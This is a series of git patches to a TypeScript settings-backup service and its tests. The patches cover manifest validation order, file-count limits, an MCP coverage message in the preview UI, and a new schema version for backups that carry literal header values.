--- a/src/node/services/backup/payload.ts
+++ b/src/node/services/backup/payload.ts
@@ -2004,9 +2004,18 @@ export function selectBackupContents(
       );
     const redacted = redactMcpConfig(mcpFile.content, projection);
     files[files.indexOf(mcpFile)] = { ...mcpFile, content: redacted.content };
+    // A listed path under a value this pass replaced whole (a backup written when header
+    // values were redacted one by one, restored with headers deselected) no longer names a
+    // marker, and the restore rejects paths it cannot find.
+    const projected = parseJsoncObjectWithTree(
+      redacted.content.toString("utf-8"),
+      "backup mcp.jsonc"
+    ).parsed;
     const merged = new Map<string, BackupRedactionPath>();
     for (const jsonPath of [...listed, ...redacted.redactionPaths]) {
-      merged.set(redactionPathKey(jsonPath), jsonPath);
+      if (valueHasRedactionAtPath(projected, jsonPath)) {
+        merged.set(redactionPathKey(jsonPath), jsonPath);
+      }
     }
     manifest.mcpRedactions = [...merged.values()];
     redactions = manifest.mcpRedactions.map(redactionPathLabel);

From c360ada2f313b30a484acfacfa68ee6a1b6e70db Mon Sep 17 00:00:00 2001
From: Michael Suchacz <203725896+ibetitsmike@users.noreply.github.com>
Date: Fri, 11 Sep 2026 03:27:41 +0000
Subject: [PATCH 06/10] fix: drop unselected manifest entries before validating
 them

parseManifest now filters entries by the content selection before the
per-entry checks, so a malformed entry for a category the restore
leaves alone cannot fail it. This replaces the read-loop skip.
---
 src/node/services/backup/payload.test.ts | 20 +++++++++++++++++++
 src/node/services/backup/payload.ts      | 25 ++++++++++++++----------
 2 files changed, 35 insertions(+), 10 deletions(-)

diff --git a/src/node/services/backup/payload.test.ts b/src/node/services/backup/payload.test.ts
index d4a64e5f58..d59def5e28 100644
--- a/src/node/services/backup/payload.test.ts
+++ b/src/node/services/backup/payload.test.ts
@@ -559,6 +559,26 @@ describe("backup payload", () => {
     expect((oversizedWithMcp as Error).message).toBe(
       `Backup has more than ${MAX_BACKUP_MCP_REDACTIONS} MCP redactions`
     );
+
+    // An unselected category's manifest entry is dropped before it is validated.
+    await fs.writeFile(
+      manifestPath,
+      JSON.stringify({
+        ...manifest,
+        files: [...manifest.files, { path: "skills/demo/SKILL.md", sha256: "not-a-digest" }],
+      })
+    );
+    const badEntryUnselected = await readBackupPayload(destination, {
+      contents: resolveBackupContents({ includeMcp: false, includeSkills: false }),
+    });
+    expect(badEntryUnselected.manifest.files.map((file) => file.path)).toEqual([
+      "AGENTS.md",
+      "preferences.json",
+    ]);
+    const badEntrySelected = await captureRejection(
+      readBackupPayload(destination, { contents: CONTENTS })
+    );
+    expect((badEntrySelected as Error).message).toBe("Invalid backup manifest file entry");
   });
 
   it("restores a backup that redacted header values one by one with headers deselected", async () => {
diff --git a/src/node/services/backup/payload.ts b/src/node/services/backup/payload.ts
index 412324d978..81198ded6d 100644
--- a/src/node/services/backup/payload.ts
+++ b/src/node/services/backup/payload.ts
@@ -1771,10 +1771,12 @@ function assertBackupMcpRedactions(
 }
 
 /**
- * `includeMcp: false` drops `mcpRedactions` unread: the list describes a file this selection
- * never opens, so its shape and size cannot be allowed to fail a restore of everything else.
+ * With `contents`, entries for unselected categories and, when MCP is left out, the
+ * `mcpRedactions` list are dropped before they are validated: they describe files this
+ * selection never opens, so their shape cannot be allowed to fail a restore of everything
+ * else. Entries whose category cannot be told (no string path) are still validated.
  */
-function parseManifest(raw: string, portable: boolean, includeMcp = true): BackupManifest {
+function parseManifest(raw: string, portable: boolean, contents?: BackupContents): BackupManifest {
   const tree = jsonc.parseTree(raw);
   if (!tree) throw new Error("Invalid backup manifest");
   assertNoDuplicateKeys(tree, "backup manifest");
@@ -1789,7 +1791,7 @@ function parseManifest(raw: string, portable: boolean, includeMcp = true): Backu
   ) {
     throw new Error("Invalid backup manifest");
   }
-  if (!includeMcp) delete manifest.mcpRedactions;
+  if (contents && !contents.includeMcp) delete manifest.mcpRedactions;
   const mcpRedactions: unknown = manifest.mcpRedactions;
   if (mcpRedactions !== undefined) {
     if (!Array.isArray(mcpRedactions)) throw new Error("Invalid backup manifest");
@@ -1797,6 +1799,14 @@ function parseManifest(raw: string, portable: boolean, includeMcp = true): Backu
   }
   if (!Array.isArray(manifest.files)) throw new Error("Invalid backup manifest");
   assertBackupFileCount(manifest.files.length);
+  if (contents) {
+    manifest.files = manifest.files.filter(
+      (file: unknown) =>
+        !isPlainObject(file) ||
+        typeof file.path !== "string" ||
+        isSelectedPayloadPath(file.path, contents)
+    );
+  }
   if (mcpRedactions !== undefined) {
     const paths = new Set<string>();
     for (const jsonPath of mcpRedactions) {
@@ -1922,18 +1932,13 @@ async function readBackupPayloadUnchecked(
   const manifestRaw = await readCheckedFile(root, BACKUP_MANIFEST_FILE, (size) => {
     budget(BACKUP_MANIFEST_FILE, size);
   });
-  const manifest = parseManifest(
-    manifestRaw.content.toString("utf-8"),
-    portable,
-    contents?.includeMcp ?? true
-  );
+  const manifest = parseManifest(manifestRaw.content.toString("utf-8"), portable, contents);
   const files: BackupFile[] = [];
   const seen = new Set<string>();
   for (const manifestFile of manifest.files) {
     const key = portable ? collisionKey(manifestFile.path) : manifestFile.path;
     if (seen.has(key)) throw new Error(`Duplicate backup path '${manifestFile.path}'`);
     seen.add(key);
-    if (contents && !isSelectedPayloadPath(manifestFile.path, contents)) continue;
     const content = await readManifestEntry(root, manifestFile.path, budget);
     if (sha256(content) !== manifestFile.sha256) {
       throw new Error(`Backup checksum mismatch for '${manifestFile.path}'`);

From c80aecfb6954196393646f63fd17e0535575d3b8 Mon Sep 17 00:00:00 2001
From: Michael Suchacz <203725896+ibetitsmike@users.noreply.github.com>
Date: Tue, 15 Sep 2026 17:31:19 +0000
Subject: [PATCH 07/10] fix: count only the selected manifest entries against
 the file limit

The file-count limit ran before the selection filter, so a manifest
with too many entries in a deselected category blocked a restore of
the rest. The manifest bytes are already budget-charged and the tree
walked whole before this point, so counting the retained entries
weakens nothing.
---
 src/node/services/backup/payload.test.ts | 18 ++++++++++++++----
 src/node/services/backup/payload.ts      | 10 ++++++----
 2 files changed, 20 insertions(+), 8 deletions(-)

diff --git a/src/node/services/backup/payload.test.ts b/src/node/services/backup/payload.test.ts
index d59def5e28..542bbb5cf8 100644
--- a/src/node/services/backup/payload.test.ts
+++ b/src/node/services/backup/payload.test.ts
@@ -886,10 +886,14 @@ describe("backup payload", () => {
   it("rejects a manifest with too many files before reading its entries", async () => {
     const destination = path.join(tempDir, "too-many-manifest-files");
     await fs.mkdir(destination);
-    const files = Array.from({ length: MAX_BACKUP_FILE_COUNT + 1 }, (_, index) => ({
-      path: `skills/count/file-${index}.md`,
-      sha256: sha256Hex(""),
-    }));
+    await fs.writeFile(path.join(destination, "AGENTS.md"), "");
+    const files = [
+      { path: "AGENTS.md", sha256: sha256Hex("") },
+      ...Array.from({ length: MAX_BACKUP_FILE_COUNT + 1 }, (_, index) => ({
+        path: `skills/count/file-${index}.md`,
+        sha256: sha256Hex(""),
+      })),
+    ];
     const manifest = {
       schemaVersion: BACKUP_SCHEMA_VERSION,
       exportedAt: "2026-08-07T00:00:00.000Z",
@@ -904,6 +908,12 @@ describe("backup payload", () => {
     expect((rejected as { code?: string }).code).toBe("INVALID_BACKUP");
     expect((rejected as Error).message).toBe(`Backup has more than ${MAX_BACKUP_FILE_COUNT} files`);
 
+    // Entries of an unselected category are dropped before they are counted.
+    const skillsUnselected = await readBackupPayload(destination, {
+      contents: resolveBackupContents({ includeSkills: false }),
+    });
+    expect(skillsUnselected.manifest.files.map((file) => file.path)).toEqual(["AGENTS.md"]);
+
     await fs.writeFile(
       manifestPath,
       JSON.stringify({ ...manifest, files: files.slice(0, MAX_BACKUP_FILE_COUNT) }),
diff --git a/src/node/services/backup/payload.ts b/src/node/services/backup/payload.ts
index 81198ded6d..5bbd4723ed 100644
--- a/src/node/services/backup/payload.ts
+++ b/src/node/services/backup/payload.ts
@@ -1772,9 +1772,11 @@ function assertBackupMcpRedactions(
 
 /**
  * With `contents`, entries for unselected categories and, when MCP is left out, the
- * `mcpRedactions` list are dropped before they are validated: they describe files this
- * selection never opens, so their shape cannot be allowed to fail a restore of everything
- * else. Entries whose category cannot be told (no string path) are still validated.
+ * `mcpRedactions` list are dropped before they are counted or validated: they describe
+ * files this selection never opens, so neither their shape nor their number can be allowed
+ * to fail a restore of everything else. The manifest document itself was already charged
+ * to the byte budget and walked whole before this point. Entries whose category cannot be
+ * told (no string path) are still validated.
  */
 function parseManifest(raw: string, portable: boolean, contents?: BackupContents): BackupManifest {
   const tree = jsonc.parseTree(raw);
@@ -1798,7 +1800,6 @@ function parseManifest(raw: string, portable: boolean, contents?: BackupContents
     assertBackupMcpRedactions(mcpRedactions);
   }
   if (!Array.isArray(manifest.files)) throw new Error("Invalid backup manifest");
-  assertBackupFileCount(manifest.files.length);
   if (contents) {
     manifest.files = manifest.files.filter(
       (file: unknown) =>
@@ -1807,6 +1808,7 @@ function parseManifest(raw: string, portable: boolean, contents?: BackupContents
         isSelectedPayloadPath(file.path, contents)
     );
   }
+  assertBackupFileCount(manifest.files.length);
   if (mcpRedactions !== undefined) {
     const paths = new Set<string>();
     for (const jsonPath of mcpRedactions) {

From 3281f2ee4d188de68cd65bf3375518cd8ced952d Mon Sep 17 00:00:00 2001
From: Michael Suchacz <203725896+ibetitsmike@users.noreply.github.com>
Date: Tue, 15 Sep 2026 17:31:19 +0000
Subject: [PATCH 08/10] fix: make no MCP coverage claim when the export preview
 failed

A failed export half of the preview returns an empty redaction list,
which the "Kept on this device" card read as full coverage.
---
 .../Settings/Sections/BackupSection.tsx       |  4 ++++
 tests/ui/BackupSection.test.ts                | 22 +++++++++++++++++++
 2 files changed, 26 insertions(+)

diff --git a/src/browser/features/Settings/Sections/BackupSection.tsx b/src/browser/features/Settings/Sections/BackupSection.tsx
index fabf2cf1e4..85bbaa18cb 100644
--- a/src/browser/features/Settings/Sections/BackupSection.tsx
+++ b/src/browser/features/Settings/Sections/BackupSection.tsx
@@ -932,6 +932,10 @@ export function BackupSection() {
                 <p className="text-muted mt-2 text-xs">
                   MCP server configuration is not in the backup, so all of it stays here.
                 </p>
+              ) : preview.pushError ? (
+                <p className="text-muted mt-2 text-xs">
+                  Not computed because the export preview failed.
+                </p>
               ) : preview.redactions.length === 0 ? (
                 <p className="text-muted mt-2 text-xs">Every MCP value is in the backup.</p>
               ) : (
diff --git a/tests/ui/BackupSection.test.ts b/tests/ui/BackupSection.test.ts
index bade9fe969..dab78413c0 100644
--- a/tests/ui/BackupSection.test.ts
+++ b/tests/ui/BackupSection.test.ts
@@ -1029,6 +1029,28 @@ describe("BackupSection", () => {
     expect(canvas.queryByText("Projects to reimport")).toBeNull();
   });
 
+  test("makes no MCP coverage claim when the export preview failed", async () => {
+    const { view } = renderBackupSection({
+      backupPreview: {
+        pushChanges: [],
+        restoreChanges: [],
+        localOnlyFiles: [],
+        redactions: [],
+        commandApprovals: [],
+        projectImports: [],
+        projectBundleSkipped: false,
+        pushError: "mcp.jsonc is not valid JSONC",
+      },
+    });
+    const canvas = within(view.container);
+    await canvas.findByText("Settings backup");
+
+    fireEvent.click(canvas.getByRole("button", { name: "Preview changes" }));
+    await canvas.findByText("Kept on this device");
+    expect(canvas.queryByText("Every MCP value is in the backup.")).toBeNull();
+    expect(canvas.getByText("Not computed because the export preview failed.")).toBeTruthy();
+  });
+
   test("reports a skipped project bundle after a preview", async () => {
     const { view } = renderBackupSection({
       backupPreview: {

From 02fc4de4ec91473cd3dda525716d7c4a75bed6ee Mon Sep 17 00:00:00 2001
From: Michael Suchacz <203725896+ibetitsmike@users.noreply.github.com>
Date: Tue, 15 Sep 2026 18:04:51 +0000
Subject: [PATCH 09/10] fix: version backups that carry literal header values
 so older builds refuse them

Builds before this change restore a header as the same-named local
value or nothing, so a backup carrying literal header values would
restore on them as complete while dropping every header the user chose
to carry. Such backups now declare schema version 2, which those builds
reject as an invalid manifest; backups without literal headers keep
version 1 and still restore on a downgraded build. The current reader
accepts both.
---
 src/node/services/backup/payload.test.ts | 34 ++++++++++++++++++++
 src/node/services/backup/payload.ts      | 40 ++++++++++++++++++++++--
 2 files changed, 71 insertions(+), 3 deletions(-)

diff --git a/src/node/services/backup/payload.test.ts b/src/node/services/backup/payload.test.ts
index 542bbb5cf8..43da1a1491 100644
--- a/src/node/services/backup/payload.test.ts
+++ b/src/node/services/backup/payload.test.ts
@@ -11,6 +11,7 @@ import { MuxProviderOptionsSchema } from "@/common/schemas/providerOptions";
 import { execFileAsync } from "@/node/utils/disposableExec";
 import {
   BACKUP_SCHEMA_VERSION,
+  BACKUP_SCHEMA_VERSION_LITERAL_HEADERS,
   BackupCommandApprovalRequiredError,
   assertBackupCommandsApproved,
   MAX_BACKUP_DIRECTORY_COUNT,
@@ -60,6 +61,7 @@ import {
   MAX_BACKUP_PROJECT_ENTRIES,
   resolveBackupContents,
   sanitizeBackupGitRemote,
+  type BackupContents,
   type BackupProjectBundleEntry,
 } from "@/common/config/schemas/settingsBackup";
 import { captureRejection, writeFixtureFile } from "./testHelpers";
@@ -305,6 +307,38 @@ describe("backup payload", () => {
     expect(scanBackupFilesForSecrets(payload.files, CONTENTS)).toEqual(["mcp.jsonc"]);
   });
 
+  it("marks a backup carrying literal header values with a version older builds refuse", async () => {
+    await writeFixtureFile(muxRoot, "mcp.jsonc", MCP_WITH_CREDENTIAL_FIELDS);
+    const exportWith = (contents: BackupContents) =>
+      createBackupPayload({
+        muxRoot,
+        contents,
+        muxVersion: "1.2.3",
+        sourceLabel: "test-host",
+        reportSecrets: true,
+      });
+
+    const literal = await exportWith(CONTENTS);
+    expect(literal.manifest.schemaVersion).toBe(BACKUP_SCHEMA_VERSION_LITERAL_HEADERS);
+    const destination = path.join(tempDir, "literal-headers");
+    await writeBackupPayload(destination, literal);
+    const read = await readBackupPayload(destination, { contents: CONTENTS });
+    expect(read.manifest.schemaVersion).toBe(BACKUP_SCHEMA_VERSION_LITERAL_HEADERS);
+
+    // Markers and references restore on any build, so those backups keep the common version.
+    const headersDeselected = await exportWith(resolveBackupContents({ includeMcpHeaders: false }));
+    expect(headersDeselected.manifest.schemaVersion).toBe(BACKUP_SCHEMA_VERSION);
+    await writeFixtureFile(
+      muxRoot,
+      "mcp.jsonc",
+      JSON.stringify({
+        servers: { api: { url: "https://example.com/mcp", headers: { Secret: { secret: "S" } } } },
+      })
+    );
+    const referencesOnly = await exportWith(CONTENTS);
+    expect(referencesOnly.manifest.schemaVersion).toBe(BACKUP_SCHEMA_VERSION);
+  });
+
   it("leaves header values and stdio commands out when their categories are not selected", async () => {
     await writeFixtureFile(muxRoot, "mcp.jsonc", MCP_WITH_CREDENTIAL_FIELDS);
     const contents = resolveBackupContents({
diff --git a/src/node/services/backup/payload.ts b/src/node/services/backup/payload.ts
index 5bbd4723ed..a75ddc3ee8 100644
--- a/src/node/services/backup/payload.ts
+++ b/src/node/services/backup/payload.ts
@@ -28,6 +28,17 @@ import { isErrnoWithCode } from "@/node/utils/fs";
 import type { BackupCommandApproval, BackupProjectImport } from "@/common/orpc/schemas/backup";
 
 export const BACKUP_SCHEMA_VERSION = 1;
+/**
+ * Written only when the backup carries a literal MCP header value. Builds before this one
+ * restore a header as the same-named local value or nothing, so they would drop every header
+ * the user chose to carry while reporting a complete restore; a schema version they do not
+ * know makes them refuse the backup instead. Backups without literal headers keep version 1
+ * so a downgraded build can still restore them.
+ */
+export const BACKUP_SCHEMA_VERSION_LITERAL_HEADERS = 2;
+type BackupSchemaVersion =
+  | typeof BACKUP_SCHEMA_VERSION
+  | typeof BACKUP_SCHEMA_VERSION_LITERAL_HEADERS;
 export const BACKUP_MANIFEST_FILE = "manifest.json";
 /**
  * The opt-in project bundle lives beside the core payload, never inside its manifest: an
@@ -110,7 +121,7 @@ export interface BackupManifestFile {
 export type BackupRedactionPath = jsonc.JSONPath;
 
 export interface BackupManifest {
-  schemaVersion: typeof BACKUP_SCHEMA_VERSION;
+  schemaVersion: BackupSchemaVersion;
   exportedAt: string;
   muxVersion: string;
   sourceLabel: string;
@@ -1509,6 +1520,25 @@ function mcpConfigRequiresPublishApproval(content: string, options: McpProjectio
   return false;
 }
 
+/** A header value carried verbatim: neither a `{secret: NAME}` reference nor a marker. */
+function mcpConfigCarriesLiteralHeaders(content: string): boolean {
+  const errors: jsonc.ParseError[] = [];
+  const parsed = readRecord(jsonc.parse(content, errors));
+  if (errors.length > 0 || !parsed) return false;
+  const servers = readRecord(readOwn(parsed, "servers"));
+  if (!servers) return false;
+  return Object.values(servers).some((server) => {
+    const serverRecord = readRecord(server);
+    const headers = serverRecord && readRecord(readOwn(serverRecord, "headers"));
+    return (
+      headers !== undefined &&
+      Object.values(headers).some(
+        (value) => typeof value === "string" && value !== REDACTED_BACKUP_VALUE
+      )
+    );
+  });
+}
+
 function isRecursivelyCollected(filePath: string): boolean {
   return (
     filePath.startsWith("skills/") ||
@@ -1599,7 +1629,10 @@ export async function createBackupPayload(
 
   return {
     manifest: {
-      schemaVersion: BACKUP_SCHEMA_VERSION,
+      schemaVersion:
+        mcpFile && mcpConfigCarriesLiteralHeaders(mcpFile.content.toString("utf-8"))
+          ? BACKUP_SCHEMA_VERSION_LITERAL_HEADERS
+          : BACKUP_SCHEMA_VERSION,
       exportedAt: options.exportedAt ?? new Date().toISOString(),
       muxVersion: normalizeMuxVersion(options.muxVersion),
       sourceLabel: options.sourceLabel,
@@ -1786,7 +1819,8 @@ function parseManifest(raw: string, portable: boolean, contents?: BackupContents
   if (!isPlainObject(value)) throw new Error("Invalid backup manifest");
   const manifest: Partial<BackupManifest> = value;
   if (
-    manifest.schemaVersion !== BACKUP_SCHEMA_VERSION ||
+    (manifest.schemaVersion !== BACKUP_SCHEMA_VERSION &&
+      manifest.schemaVersion !== BACKUP_SCHEMA_VERSION_LITERAL_HEADERS) ||
     typeof manifest.exportedAt !== "string" ||
     typeof manifest.muxVersion !== "string" ||
     typeof manifest.sourceLabel !== "string"

From 81d89dcde52450ce40b68e129f911de25a4190c5 Mon Sep 17 00:00:00 2001
From: Michael Suchacz <203725896+ibetitsmike@users.noreply.github.com>
Date: Tue, 15 Sep 2026 22:23:00 +0000
Subject: [PATCH 10/10] fix: state where the content selection stops in the
 manifest parser

The selection filters payload entries. Document well-formedness and
the repository tree validation before checkout stay whole-backup
checks; the comment records why the filter cannot run first.
---
 src/node/services/backup/payload.ts | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/src/node/services/backup/payload.ts b/src/node/services/backup/payload.ts
index a75ddc3ee8..3051e76b85 100644
--- a/src/node/services/backup/payload.ts
+++ b/src/node/services/backup/payload.ts
@@ -1807,9 +1807,13 @@ function assertBackupMcpRedactions(
  * With `contents`, entries for unselected categories and, when MCP is left out, the
  * `mcpRedactions` list are dropped before they are counted or validated: they describe
  * files this selection never opens, so neither their shape nor their number can be allowed
- * to fail a restore of everything else. The manifest document itself was already charged
- * to the byte budget and walked whole before this point. Entries whose category cannot be
- * told (no string path) are still validated.
+ * to fail a restore of everything else. The selection filters entries, not the document: the
+ * manifest is parsed and checked for duplicate keys whole first, because the filter classifies
+ * an entry by its `path` key and a duplicate key lets the tree and `JSON.parse` disagree about
+ * that value, so a crafted entry could look unselected to one and selected to the other. The
+ * repository tree is likewise validated whole before checkout (gitRepo.ts): unselected content
+ * is still checked out, only not restored. Entries whose category cannot be told (no string
+ * path) are still validated.
  */
 function parseManifest(raw: string, portable: boolean, contents?: BackupContents): BackupManifest {
   const tree = jsonc.parseTree(raw);